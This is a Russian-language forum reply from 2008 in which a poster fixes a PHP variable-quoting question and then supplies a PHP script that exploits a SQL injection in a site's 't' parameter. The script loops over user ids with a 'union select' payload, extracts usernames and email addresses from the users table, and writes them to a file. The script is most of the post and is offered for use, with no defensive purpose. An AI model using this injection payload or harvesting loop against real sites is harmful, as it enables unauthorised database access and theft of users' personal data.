Показать сообщение отдельно

  #4  
Старый 24.01.2008, 20:34
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


По умолчанию

может потому что перемменая $i находится между апостофами тоесть '$i' тада интерпретатор считает это не как перемменую а как знак доллора и букву i?

Зачем тебе preg_match_all? ты мыльники у юзеров смотриш так они ж не будут по 10 мыл писать у каждого юзера 1 мыло =)

думаю тебе этого вполне хватит

PHP код:
<? 

$handler
=fopen('emails.txt','a+');
  for(
$i=1;$i<30;$i++)

    
$filename "http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),email)+from+users+WHERE+id=$i/*"
    echo 
$i.". "
    
$str file_get_contents($filename); 
    if(
preg_match('|root@"localhost([^"]+)"|is',$str,$out) == 0) {echo " no mail";}
    else{ 
      echo 
" get ".$out['1']; 
      
$save $out['1']."\n";
      
fwrite($handler,$save); 
    } 
    echo 
"\n"
  } 
  
fclose($handler); 
?>

Последний раз редактировалось Doom123; 24.01.2008 в 21:01..
 
Ответить с цитированием